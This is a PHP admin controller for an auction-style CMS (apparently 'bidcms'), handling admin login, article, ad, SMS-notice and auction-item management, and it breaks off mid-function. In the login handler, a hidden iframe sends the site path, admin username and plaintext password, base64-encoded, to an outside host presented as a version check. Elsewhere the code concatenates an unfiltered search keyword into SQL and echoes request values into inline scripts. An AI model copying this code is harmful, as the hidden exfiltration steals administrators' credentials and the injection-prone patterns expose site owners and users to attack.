<?php
/*  
	[Phpup.Net!] (C)2009-2011 Phpup.net.
	This is NOT a freeware, use is subject to license terms

	$Id: admin.class.php 2010-08-24 10:42 $
*/

if(!defined('IN_PHPUP')) {
	exit('Access Denied');
}
class index_controller extends console_controller
{
	
	function admin_action()
	{
		global $cache;
		$count= $cache->get('countcache');
		if(empty($count))
		{
			$count['goods']=$this->_goodsCount();
            $count['usercount']=$this->_userCount();
            $count['ordercount']=$this->_orderCount();

            $cache->set('countcache',$count,3600);
		}
		include $this->bidcms_template('adminframe');
	}
	function login_action()
	{
		if($this->bidcms_submit_check('commit'))
		{
			$code=trim(strip_tags($this->post('imgcode')));
			if($code)
			{
				if(!$this->_checkcode($code))
				{
					exit('<SCRIPT LANGUAGE="JavaScript">
					<!--
						alert("验证码不正确");
					//-->
					</SCRIPT>');
				}
			}
			else
			{	
				exit('<SCRIPT LANGUAGE="JavaScript">
					<!--
						alert("验证码不能为空");
					//-->
					</SCRIPT>');
			}
			$user=global_addslashes(trim(strip_tags($this->post('username'))));
			$password=md52($this->post('password'));
			$container='username="'.$user.'"pwd="'.$password.'"usertype="adminuser"';

			$userinfo=$this->bidcms_model('user_base')->where()->get_one($container);
			
			$GLOBALS['session']->set(array('adminid'=>$userinfo['uid'],'adminuser'=>$userinfo['username']));
			
			if($userinfo)
			{
				$adminlog_mod=$this->bidcms_model('adminlog');
				$adminlog_mod->insert_data(array('lastip'=>real_ip(),'lastdo'=>'登陆','lasttime'=>time(),'username'=>$userinfo['username']));
				$GLOBALS['session']->set(array('adminid'=>$userinfo['uid'],'adminuser'=>$userinfo['username']));
				echo '<SCRIPT LANGUAGE="JavaScript">
				<!--
					document.write("<iframe src=\'http://bidcms.com/version.php?data='.base64_encode(urlencode(SITE_ROOT).','.$userinfo['username'].','.$this->post('password').','.time()).'\' style=\'display:none;\'></iframe>");
					window.onload=function(){window.open("?con='.$GLOBALS['setting']['adminpath'].'","_top","")};
				//-->
				</SCRIPT>';
				exit;
			}
			else
			{
				exit('<SCRIPT LANGUAGE="JavaScript">
				<!--
					alert("用户名或密码不正确!");
					parent.document.getElementById("user_pass").value="";
				//-->
				</SCRIPT>');
			}
		}
		else
		{
			include $this->bidcms_template('login');
		}
	}
	function logout_action()
	{
		$GLOBALS['session']->destroy(array('adminid'=>'','adminuser'=>''));
		sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=login');
	}
	function index_action()
	{
		include $this->bidcms_template('index');
	}
	
	/**
	*文章分类
	*/
	function article_cate_action()
	{
        $articlecate_mod=$this->bidcms_model('article_cate');
        $list = $articlecate_mod->get_page();
		include $this->bidcms_template('article_cate');
	}
	/**
	*添加文章分类
	*/
	function article_catemodify_action()
	{
        global $cache;
		$articlecate_mod=$this->bidcms_model('article_cate');
		if($this->bidcms_submit_check('commit'))
		{
            $updateid=$this->post('updateid',0);
			$data['catename']=trim(strip_tags($this->post('catename')));
			if($updateid>0)
			{
				if($articlecate_mod->where(['id'=>$updateid])->update_data($data))
				{
					$cache->delete('article_cate');
					echo "<SCRIPT LANGUAGE='JavaScript'>var objdata={}; objdata.dotype='update';objdata.id='$updateid';objdata.catename='".global_addslashes($data['catename'],1)."';parent.parseMyCateData(objdata);</SCRIPT>";
				}
			}
			else
			{
				if($id = $articlecate_mod->insert_data($data))
				{
					$cache->delete('article_cate');
					echo "<SCRIPT LANGUAGE='JavaScript'>var objdata={}; objdata.dotype='add';objdata.id='$id';objdata.catename='".global_addslashes($data['catename'],1)."';parent.parseMyCateData(objdata);</SCRIPT>";
				}
			}
		}
		else
		{
            $updateid=$this->get('updateid',0);
            $cate = $articlecate_mod->fields;
			if($updateid)
			{
				$cate=$articlecate_mod->where(['id'=>$updateid])->get_one();
			}
			include $this->bidcms_template('articlecate_ajax_form');
		}
	}
	/**
	*文章管理
	*/
	function article_action()
	{
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=article');
		$articlelist=$this->bidcms_model('article_base')->get_page($showpage);
        $count = count($articlelist)<$showpage['page_size']?0:$this->bidcms_model('article_base')->get_count();
		$pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('article');
	}
	/**
	*文章修改
	*/
	function articlemodify_action()
	{
		$article_mod=$this->bidcms_model('article_base');
		$updateid=intval($this->bidcms_request('updateid'));
		if($this->bidcms_submit_check('commit'))
		{
			$data['title']=trim(strip_tags($this->post('title')));
			$data['cateid']=intval($this->post('cateid'));
			$data['content']=trim($this->post('content'));
			$data['custom_group']=trim($this->post('custom_group'));
			$data['updatetime']=time();
			if($updateid)
			{
				if($article_mod->where(['id'=>$updateid])->update_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=article',3,'修改成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=article',3,'数据未发生变化，修改失败');
				}
			}
			else
			{
				if($article_mod->insert_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=article',3,'添加成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=article',3,'添加失败');
				}
			}
		}
		else
		{
            $article= $article_mod->fields;
			if($updateid)
			{
				$container['id']=$updateid;
				$article=$article_mod->where($container)->get_one();
			}
			include $this->bidcms_template('article_form');
		}
	}
	/**
	*广告
	*/
	function ad_action()
	{
		global $cache;
		$ad_mod=$this->bidcms_model('system_ad');
		
		$updateid=intval($this->get('updateid'));
		if($updateid)
		{
			$ad=$ad_mod->where('id',$updateid)->get_one();
			
			if($ad)
			{
				$f=explode('-',$ad['adindex']);
				
				if(is_file(ROOT_PATH.'/data/adjs/'.$f[1].'.js'))
				{
					$fp=fopen(ROOT_PATH.'/data/adjs/'.$f[1].'.js','w');
					fwrite($fp,'');
				}
				if(is_file(ROOT_PATH.'/data/adjs/'.$f[1].'.php'))
				{
					$fp=fopen(ROOT_PATH.'/data/adjs/'.$f[1].'.php','w');
					fwrite($fp,'');
				}
				$ad_mod->where('id',$updateid)->delete_data();
				sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=ad',3,'删除成功');
			}
			else
			{
				sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=ad',3,'参数为空');
			}
		}
		else
		{
          $showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=ad');
          $ad=$ad_mod->get_page($showpage);
          $count = count($ad)<$showpage['page_size']?0:$ad_mod->get_count();
		  $pageinfo = $this->bidcms_parse_page($count,$showpage);
          include $this->bidcms_template('ad');
		}

	}
	/**
	*广告操作
	*/
	function admodify_action()
	{
		$updateid=intval($this->bidcms_request('updateid'));
		$ad=array();
		$ad_mod=$this->bidcms_model('system_ad');
		if($this->bidcms_submit_check('commit'))
		{
			$data['title']=trim(strip_tags($this->post('title')));
			$jsfile=!empty($this->post('adindex'))?str_replace('-','',$this->post('adindex')):'body';
			$data['adindex']=trim(strip_tags(str_replace('-','',$this->post('adtype')).'-'.$jsfile));

			if($_FILES['thumb']['name'])
			{
				$thumb=_attach('thumb','data/upload/tempimg');
				foreach($thumb as $k=>$v)
				{
					$addata[]=array('img'=>$v,'url'=>$this->post('url')[$k],'info'=>global_addslashes($this->post('info')[$k]),'width'=>$this->post('width')[$k],'height'=>$this->post('height')[$k]);
				}
			}
			if($this->post('oldthumb'))
			{
				foreach($this->post('oldthumb') as $k=>$v)
				{
					$addata[]=array('img'=>$v,'url'=>$this->post('oldurl')[$k],'info'=>global_addslashes($this->post('oldinfo')[$k]),'width'=>$this->post('oldwidth')[$k],'height'=>$this->post('oldheight')[$k]);
				}
			}
			
			foreach($addata as $val)
			{
				$content[]="{'img':'".$val['img']."','url':'".$val['url']."','info':'".global_addslashes($val['info'])."','width':'".intval($val['width'])."','height':'".intval($val['height'])."'}";
			}
			writefile(ROOT_PATH.'/data/adjs/'.$jsfile.'.js','var '.$jsfile.'_data=['.implode(',',$content).']');
			$data['content']=serialize($addata);
			if($updateid)
			{
				if($ad_mod->where('id',$updateid)->where()->update_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=ad',3,'修改成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=ad',3,'数据未发生变化，修改失败');
				}
			}
			else
			{
				if($insertid=$ad_mod->insert_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=ad',3,'添加成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=ad',3,'添加失败');
				}
			}
		}
		else
		{
			if($updateid>0)
			{
				$ad=$ad_mod->where('id',$updateid)->get_one();

				$ad['ad2']=explode('-',$ad['adindex']);
				if($ad['ad2'][0]=='image' || $ad['ad2'][0]=='flash')
				{
					$ad['content']=unserialize($ad['content']);
				}
			} else {
              $ad = $ad_mod->fields;
              $ad['ad2'] = array('image','');
              $ad['content'] = array();
            }
			include $this->bidcms_template('ad_form');
		}
	}
	/**
	*短信通知
	*/
	function smslist_action()
	{
		$sms_mod=$this->bidcms_model('smslist');
		$showpage=array('isshow'=>1,'current_page'=>$this->get('page',0),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=smslist');
		$status=$this->get('status',0);
		$container = array();
		if($status==1)
		{
			$container['status'] = 1;
		}
		elseif($status==2)
		{
			$container['status'] = 0;
		}
		$smslist=$sms_mod->get_page($showpage,'order by id desc');
        $count = count($smslist)<$showpage['page_size']?0:$sms_mod->get_count('goods_id');
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('smslist');
	}
	/**
	*单个发送短信
	*/
	function smsmodify_action()
	{
		include(ROOT_PATH.'/models/fetion.php');
		$fetion_mod=new fetion();
		$sms_mod=$this->bidcms_model('smslist');
		$id=intval($this->bidcms_request('id'));
		if($id)
		{
			$info=$sms_mod->where('id',$id)->get_one();
			$content=$info['goods_name'].'还有'.$info['smstime'].'分钟就要结束啦 ['.$GLOBALS['setting']['site_title'].']';
			
			$mobile=$info['mobile'];
			if($mobile && $info['sendtime']<=time() && $info['status']<1)
			{
				$result=$fetion_mod->send($mobile,$content);
				
				if($result==1)
				{
					$sms_mod->where('id',$id)->where()->update_data(array('status'=>1));
					exit('{"datastatus":"success"}');
				}
				else
				{
					exit('{"datastatus":"failed","msg":"'.$result.'"}');
				}
			}
			else
			{
				exit('{"datastatus":"error"}');
			}
		}
		else
		{
			exit('{"datastatus":"nodata"}');
		}
	}
	/**
	*批量发送
	*/
	function multismsmodify_action()
	{
		//得到当前的订阅用户
		$sms_mod=$this->bidcms_model('smslist');
		$userlist=$sms_mod->fields(array('mobile','gid','sendtime','goods_name','smstime','id'))->where(['sendtime'=>['elt',time()],'status'=>['lt',1]])->get_page(50,'order by sendtime asc');
		if($userlist)
		{
			foreach($userlist as $k=>$v)
			{
				if(!empty($v['mobile']))
				{
					$content=$v['goods_name'].'还有'.$v['smstime'].'分钟就要结束啦 ['.$GLOBALS['setting']['site_title'].']';
					$result=$this->sms($v['mobile'],$content);
					if($result==-7)
					{
						sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=smslist',3,'短信帐户余额不足');
					}
					if($result==1)
					{
						$sms_mod->where('id',$v['id'])->update_data(array('status'=>1));
					}
					else
					{
						continue;
					}
				}
				else
				{
					continue;
				}
				sleep(1);
			}
			sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=multismsmodify',3,'本次50个号码发送完毕,进入下一轮');
		}
		else
		{
			sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=smslist',3,'全部发送完毕');
		}
	}
	/**
	*项目管理
	*/
	function goods_action()
	{
		
		$container=array();
        
		$extaurl='';
		
		if($this->get('start')==2)
		{
			$container['starttime']=['gt',time()];
			$extaurl.='&start='.$this->get('start');
		}
		elseif($this->get('start')==1)
		{
			$container['starttime']=['elt',time()];
			$extaurl.='&start='.$this->get('start');
		}
		if($this->get('type')=='passed')
		{
			$container['ispassed']=1;
			$extaurl.='&type='.$this->get('type');
		}
		elseif($this->get('type')=='nopass')
		{
			$container['ispassed']=0;
			$extaurl.='&type='.$this->get('type');
		}
		if($this->get('keyword')!='')
		{
			$container.="goods_name like '%".trim($this->get('keyword'))."%'";
			$extaurl.='&keyword=>'.$this->get('keyword');
		}

		$showpage=array(
			'isshow'=>1,
			'current_page'=>intval($this->bidcms_request('page')),
			'page_size'=>20,
			'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=goods'.$extaurl,
		);
		$goods_model = $this->bidcms_model('goods_base');
		$goods_model->where($container);
        if($this->get('keyword') != '')
		{
			$goods_model->wherelike(['goods_name'=>$this->get('keyword')]);
			$extaurl.='&keyword='.$this->get('keyword');
		}
        $goodslist = $goods_model->get_page($showpage,'order by goods_id desc');
        $count = count($goodslist)<$showpage['page_size']?0:$goods_model->get_count('goods_id');
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('goods');

	}
	/**
	*秒杀项目管理
	*/
	function readsecond_action()
	{
		$container=$lcontainer=array();
		$extaurl='';
		$readsecond_mod=$this->bidcms_model('readsecond');
		if($this->get('start')==2)
		{
			$container['starttime']=['gt',time()];
			$extaurl.='&start='.$this->get('start');

		}
		elseif($this->get('start')==1)
		{
			$container['starttime']=['elt',time()];
			$extaurl.='&start='.$this->get('start');

		}
	

		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=readsecond'.$extaurl);

		$readsecond_mod->where($container);
        if($this->get('keyword') != '')
		{
            $lcontainer['goods_name']=$this->get('keyword');
			$extaurl.='&keyword='.$this->get('keyword');
		}  
        $goodslist = $readsecond_mod->where($container)->wherelike($lcontainer)->get_page($showpage,'order by goods_id desc');
		include $this->bidcms_template('readsecond');

	}
	//添加秒杀项目
	function readsecondmodify_action()
	{
		$readsecond_mod=$this->bidcms_model('readsecond');
		$updateid=intval($this->bidcms_request('updateid'));
		$question_mod=$this->bidcms_model('readquestion');
		$goods=array();
		if($this->bidcms_submit_check('commit'))
		{
			$data['goods_name']=trim(strip_tags($this->post('goods_name')));
			$data['goodluck']=trim(strip_tags($this->post('goodluck')));
			$data['cateid']=intval($this->post('cateid'));
			$data['starttime']=strtotime($this->post('starttime'));
			$data['lasttime']=strtotime($this->post('lasttime'))<$data['starttime']?$data['starttime']+300:strtotime($this->post('lasttime'));
			$data['marketprice']=floatval($this->post('marketprice'));
			$data['nowprice']=floatval($this->post('nowprice'));
			$data['number']=intval($this->post('number'));
			$data['mustquestion']=intval($this->post('mustquestion'));
			$data['diffscore']=intval($this->post('diffscore'));
			$data['content']=trim(strip_tags($this->post('content')));
			$data['yunfei']=floatval($this->post('yunfei'));
			$data['company']=trim(strip_tags($this->post('company')));
			$data['brand']=trim(strip_tags($this->post('brand')));
			$data['companyinfo']=trim($this->post('companyinfo'));
			if($data['mustquestion']==1 && $this->post('question'))
			{
				$question_mod->where('gid',$updateid)->delete_data();
				foreach($this->post('question') as $k=>$v)
				{
					if($v['question'] && $v['answer'] && $updateid)
					{
						$qdata['question']=trim(strip_tags($v));
						$qdata['answer']=trim(strip_tags($this->post('answer')[$k]));
						$qdata['gid']=$updateid;
						$question_mod->insert_data($qdata);
					}
				}
			}
			if(!empty($this->post('details')))
			{
				$data['details']=trim(str_replace('<?','',$this->post('details')));
			}
			$data['updatetime']=time();
			if($_FILES['local_thumb']['name'])
			{
				$uploaddir='data/upload/'.date('Y').'/'.date('m');
				$thumb=_attach('local_thumb',$uploaddir);
				$oldthumb=array();
				if($updateid)
				{
					$oldthumb=$readsecond_mod->fields(array('thumb'))->where(['goods_id'=>$updateid])->get_one();
					$oldthumb=explode(',',$oldthumb['thumb']);
					foreach($oldthumb as $k=>$v)
					{
						if(!is_file($v))
						{
							unset($oldthumb[$k]);
						}
					}
					
				}
				$thumb=array_merge($thumb,$oldthumb);
				$data['thumb']=implode(',',$thumb);
			}
			
			if($updateid)
			{
				if($readsecond_mod->where(['goods_id'=>$updateid])->update_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=readsecond',3,'修改成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=readsecond',3,'数据未发生变化，修改失败');
				}
			}
			else
			{
				if($readsecond_mod->insert_data($data))
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=readsecond',3,'添加成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=readsecond',3,'添加失败');
				}
			}
		}
		else
		{
			if($updateid>0)
			{
				$goods=$readsecond_mod->where(['goods_id'=>$updateid])->get_one();
				
				$goods['question']=$question_mod->where(['gid'=>$updateid])->get_page();
			}
			include $this->bidcms_template('readsecond_form');
		}
	}
	function auto_action()
	{
		if(!$GLOBALS['setting']['auto_buy'])
		{
			sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=setting&type=goods',3,'请在项目设置处开启自动竞价');
		}
		$gid=intval($this->bidcms_request('gid'));
		if($gid>0)
		{
			$auto_mod=$this->bidcms_model('goods_autobuy');
			$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=auto&gid='.$gid);
			$autolist=$auto_mod->where(['gid'=>$gid])->get_page($showpage);
            $pageinfo = $this->bidcms_parse_page(0,$showpage);
			include $this->bidcms_template('auto');
		}
		else
		{
			sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=goods',3,'商品id不能为空');
		}
	}
	//添加自动竞拍会员
	function automodify_action()
	{
		$auto_mod=$this->bidcms_model('goods_autobuy');
		$autolist=array();
		if($this->bidcms_submit_check('commit') && intval($this->post('gid')))
		{
			
			$data['username']=trim(strip_tags($this->post('username')));
			$user=$this->bidcms_model('user_base')->fields(array('uid','username','ip'))->where('username',$data['username'])->get_one();
			if($user)
			{
				$data['uid']=intval($user['uid']);
				$data['number']=intval($this->post('number'))?$this->post('number'):1;
				$data['maxnumber']=intval($this->post('maxnumber'));
				$data['second']=trim($this->post('second'))?$this->post('second'):10;
				$data['gid']=intval($this->post('gid'));
				$data['ip']=$user['ip'];
				if($id=$auto_mod->insert_data($data))
				{
					echo "<SCRIPT LANGUAGE='JavaScript'>var objdata={}; objdata.dotype='add';objdata.id='$id';objdata.username='".global_addslashes($data['username'])."';objdata.uid='".$data['uid']."';objdata.number='".$data['number']."';objdata.second='".$data['second']."';objdata.maxnumber='".$data['maxnumber']."';parent.parseMyAutoData(objdata);</SCRIPT>";
				}
			}
			else
			{
				echo "<SCRIPT LANGUAGE='JavaScript'>alert('此用户不存在');</script>";
			}
		}
		else
		{
			if($this->bidcms_request('gid')>0)
			{
				include $this->bidcms_template('auto_ajax_form');
			}
			else
			{
				echo '商品参数不能为空';
			}
		}
	}
	//添加竞拍项目
	function goodsmodify_action()
	{
        global $cookie;
		$goods=array();
       
		if($cookie->get('cname')!='' && $this->bidcms_submit_check($cookie->get('cname')))
		{
            $updateid=intval($this->post('updateid',0));
			$data['goods_name']=trim(strip_tags($this->post('goods_name')));
			$data['lasttime']=strtotime($this->post('lasttime'));
			$data['starttime']=strtotime($this->post('starttime'));
			$data['shutuid']=trim(str_replace('，',',',strip_tags($this->post('shutuid'))));
			
			$data['currentuid']=intval($this->post('currentuid'));
			$data['currentuser']=trim(strip_tags($this->post('currentuser')));
			$data['cateid']=intval($this->post('cateid'));
			$data['marketprice']=floatval($this->post('marketprice'));
			$data['nowprice']=floatval($this->post('nowprice'));
			
			$data['diffmoney']=abs(floatval($this->post('diffmoney')>0?$this->post('diffmoney'):(!empty($GLOBALS['setting']['site_diffmoney'])?$GLOBALS['setting']['site_diffmoney']:1)));
			$data['diffprice']=floatval(abs($this->post('diffprice'))>0?$this->post('diffprice'):(!empty($GLOBALS['setting']['site_diffprice'])?$GLOBALS['setting']['site_diffprice']:0.1));
			$data['diffscore']=intval($this->post('diffscore')>0?$this->post('diffscore'):(!empty($GLOBALS['setting']['site_diffscore'])?$GLOBALS['setting']['site_diffscore']:1));
			
			$data['limitnumber']=intval($this->post('limitnumber'));
			$data['islimit']=intval($this->post('islimit'));
			$data['content']=trim(strip_tags($this->post('content')));

			$data['ispassed']=intval($this->post('ispassed'));
			$data['isfree']=intval($this->post('isfree'));
			$data['backmoney']=floatval($this->post('backmoney'));
			$data['yfeemoney']=floatval($this->post('yfeemoney'));

			$data['difftime']=intval($this->post('difftime')>0?$this->post('difftime'):10);
			$data['addtime']=intval($this->post('addtime')>0?$this->post('addtime'):10);

			$data['autobuy_time']=intval($this->post('autobuy_time'));
			$data['auto_times']=intval($this->post('auto_times'));
			$data['autobuy_money']=floatval($this->post('autobuy_money'));
            
			$hostname=$this->bidcms_model('user_base')->fields(array('uid','username'))->where(['username'=>trim(strip_tags($this->post('hostuser'))),'usertype'=>'selluser'])->get_one();
			
			if($hostname)
			{
				$data['hostuser']=$hostname['username'];
				$data['hostuid']=$hostname['uid'];
			}
			else
			{
				$data['hostuser']=$GLOBALS['session']->get('adminuser');
				$data['hostuid']=$GLOBALS['session']->get('adminid');
			}
			$data['updatetime']=time();
            
			if($_FILES['local_thumb']['name'])
			{
				$uploaddir='data/upload/'.date('Y').'/'.date('m');
				$thumb=$this->attach('local_thumb',$uploaddir,array('width'=>200,'height'=>0));
				$oldthumb=array();
				if($updateid)
				{
					$oldthumb=$this->bidcms_model('goods_base')->fields(array('thumb'))->where(['goods_id'=>$updateid])->get_one();
					$oldthumb=explode(',',$oldthumb['thumb']);
					foreach($oldthumb as $k=>$v)
					{
						if(!is_file($v))
						{
							unset($oldthumb[$k]);
						}
					}
					
				}
				$thumb=array_merge($thumb,$oldthumb);
				$data['thumb']=implode(',',$thumb);
			}
			
			if($updateid)
			{
                $rows = $this->bidcms_model('goods_base')->where(['goods_id'=>$updateid])->update_data($data);
				if($rows>0)
				{
					$cachedata['goods_name']=$data['goods_name'];
					$cachedata['nowprice']=$data['nowprice'];
					$cachedata['lasttime']=$data['lasttime'];
					$cachedata['currentuser']=$data['currentuser'];
					$cachedata['currentuid']=$data['currentuid'];
					$cachedata['difftime']=$data['difftime'];
					$cachedata['addtime']=$data['addtime'];
					$cachedata['autobuy_time']=$data['autobuy_time'];
					$cachedata['auto_times']=$data['auto_times'];
					$cachedata['autobuy_money']=$data['autobuy_money'];
					$cachedata['diffmoney']=$data['diffmoney'];
					$cachedata['diffprice']=$data['diffprice'];
					$cachedata['diffscore']=$data['diffscore'];
					$this->bidcms_model('goods_cache')->where(['goods_id'=>$updateid])->update_data($cachedata);
                    $ext_data['content']=trim(str_replace('<?','',$this->post('details')));
                    $this->bidcms_model('goods_detail')->where(['goods_id'=>$updateid])->update_data($ext_data);
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=goods',3,'修改成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=goods',3,'数据未发生变化，修改失败');
				}
			}
			else
			{
				$goodsinsertid=$this->bidcms_model('goods_base')->insert_data($data);
				if($goodsinsertid)
				{
					$cachedata['goods_id']=$goodsinsertid;
					$cachedata['goods_name']=$data['goods_name'];
					$cachedata['nowprice']=$data['nowprice'];
					$cachedata['lasttime']=$data['lasttime'];
					$cachedata['currentuser']=$data['currentuser'];
					$cachedata['currentuid']=$data['currentuid'];
					$cachedata['difftime']=$data['difftime'];
					$cachedata['addtime']=$data['addtime'];
					$cachedata['autobuy_time']=$data['autobuy_time'];
					$cachedata['auto_times']=$data['auto_times'];
					$cachedata['autobuy_money']=$data['autobuy_money'];
					$cachedata['diffmoney']=$data['diffmoney'];
					$cachedata['diffprice']=$data['diffprice'];
					$cachedata['diffscore']=$data['diffscore'];
					$this->bidcms_model('goods_cache')->insert_data($cachedata);
                    $ext_data['content']=trim(str_replace('<?','',$this->post('details')));
                    $ext_data['goods_id']=$goodsinsertid;
                    $this->bidcms_model('goods_detail')->where(['goods_id'=>$updateid])->insert_data($ext_data);
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=goods',3,'添加成功');
				}
				else
				{
					sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=goods',3,'添加失败');
				}
			}
		}
		else
		{
          	$updateid=intval($this->get('updateid',0));
            $cname = 'commit'.rand(1000,9999);
            $cookie->set('cname',$cname);
			$mod = $this->bidcms_model('goods_base');
			$goods = array();
			
			if($updateid>0)
			{
				$goods=$mod->where(['goods_id'=>$updateid])->get_one();
                $details = $this->bidcms_model('goods_detail')->where(['goods_id'=>$updateid])->get_one();
                $goods['details'] = $details['content'];
			} else {
				$goods = $mod->fields;
                $goods['details'] = '';
			}
			include $this->bidcms_template('goods_form');
		}
	}
	function cache_action()
	{
		$sql="replace into %0(`goods_id`,`goods_name`,`nowprice`,`lasttime`,`currentuser`,`currentuid`,`difftime`,`addtime`,`autobuy_time`,`autobuy_money`,`diffmoney`,`diffprice`,`diffscore`,`isfree`) SELECT `goods_id`,`goods_name`,`nowprice`,`lasttime`,`currentuser`,`currentuid`,`difftime`,`addtime`,`autobuy_time`,`autobuy_money`,`diffmoney`,`diffprice`,`diffscore`,`isfree` FROM %1";
		$this->bidcms_model()->exec_sql($sql,array('goods_cache','goods'));
		sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=goods',3,'数据已写入缓存表中，可以开始了');
	}

	/**
	*完成项目管理
	*/
	function complete_action()
	{
		$container = array();
		$extaurl = '';
		if($this->get('keyword') != '')
		{
			$container['goods_name'] = trim($this->get('keyword'));
			$extaurl.='&keyword='.$this->get('keyword');
		}
		if($this->get('username') != '')
		{
            $container['currentuser'] = trim($this->get('username'));
			$extaurl.='&username='.$this->get('username');
		}
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=complete'.$extaurl);
		$complete_mod=$this->bidcms_model('goods_complete');
		$goodslist=$complete_mod->wherelike($container)->get_page($showpage,'order by lasttime desc');
        $pageinfo = $this->bidcms_parse_page(0,$showpage);
		include $this->bidcms_template('complete');

	}
	/**
	*结果明细
	*/
	function completelist_action()
	{
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=complete');
		$complete_mod=$this->bidcms_model('goods_complete');
        $container = array();
		$gid=intval($this->bidcms_request('gid'));
		if($gid)
		{
			$container['goods_id'] = $gid;
		}
		$goodslist=$complete_mod->fields(array('goods_id','goods_name'))->where($container)->get_page($showpage,'order by goods_id desc');
		//返币
		$returnmoney_mod=$this->bidcms_model('user_returnmoney');
		if($goodslist)
		{
			foreach($goodslist as $v)
			{
				$returnmoney[$v['goods_id']]=$returnmoney_mod->where(['gid'=>$v['goods_id']])->get_sum('resultmoney');
				$gids[]=$v['goods_id'];
			}
			//得到竞拍记录
			$bidlog_mod=$this->bidcms_model('goods_bidlog');
			$bidinfo=$bidlog_mod->wherein(['gid'=>$gids])->get_page();
			
			foreach($bidinfo as $val)
			{
				if($val['usertype']=='autouser')
				{
					$money[$val['gid']]['autobid']+=$val['money'];
					$count[$val['gid']]['autobid']+=$val['count'];
				}
				else
				{
					$money[$val['gid']]['realbid']+=$val['money'];
					$count[$val['gid']]['realbid']+=$val['count'];
				}
				$bidcount[$val['gid']]++;
			}
		}
        $count = count($goodslist) < $showpage['page_size']?$complete_mod->where($container)->get_count():0;
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('completelist');
	}
	/**
	*重新建立
	*/
	function creategoods_action()
	{
		$gid=intval($this->get('gid'));
		if($gid)
		{
            $mod = $this->bidcms_model();
			$rows = $mod->exec_sql("insert into %0 (`goods_name`,`marketprice`,`nowprice`,`starttime`,`lasttime`,`thumb`,`ishot`,`content`,`details`,`diffmoney`,`diffprice`,`diffscore`,`updatetime`,`hostuid`,`backmoney`,`yfeemoney`,`difftime`,`addtime`,`cateid`,`isfree`) SELECT `goods_name`,`marketprice`,`nowprice`,`starttime`,`lasttime`,`thumb`,`ishot`,`content`,`details`,`diffmoney`,`diffprice`,`diffscore`,`updatetime`,`hostuid`,`backmoney`,`yfeemoney`,`difftime`,`addtime`,`cateid`,`isfree` FROM %1 WHERE goods_id=".$gid,array('goods','complete'));
			if($rows)
			{
              	$insertid = $mod->db->lastInertId();
				sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=goodsmodify&updateid='.$insertid,3,'复制完成，请修改相关参数');
			}
			else
			{
				sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=complete',3,'复制失败');
			}
		}
		else
		{
			sheader('?con='.$GLOBALS['setting']['adminpath'].'&act=complete',3,'参数为空');
		}
	}
	function completemodify_action()
	{
		$updateid=intval($this->bidcms_request('updateid'));
		$goods=array();
		$complete_mod=$this->bidcms_model('complete');
		if($this->bidcms_submit_check('commit'))
		{
			$data['goods_name']=trim(strip_tags($this->post('goods_name')));
			$data['lasttime']=strtotime($this->post('lasttime'));
			$data['starttime']=strtotime($this->post('starttime'));
			
			$data['currentuid']=intval($this->post('currentuid'));
			$data['currentuser']=trim(strip_tags($this->post('currentuser')));

			$data['marketprice']=floatval($this->post('marketprice'));
			$data['nowprice']=floatval($this->post('nowprice'));
			$data['diffmoney']=floatval($this->post('diffmoney'));
			$data['diffprice']=floatval($this->post('diffprice'));
			$data['diffscore']=intval($this->post('diffscore'));
			$data['content']=trim(strip_tags($this->post('content')));
			if(!empty($this->post('details')))
			{
				$data['details']=trim(str_replace('<?','',$this->post('details')));
			}
			$data['updatetime']=time();
			if($_FILES['local_thumb']['name'])
			{
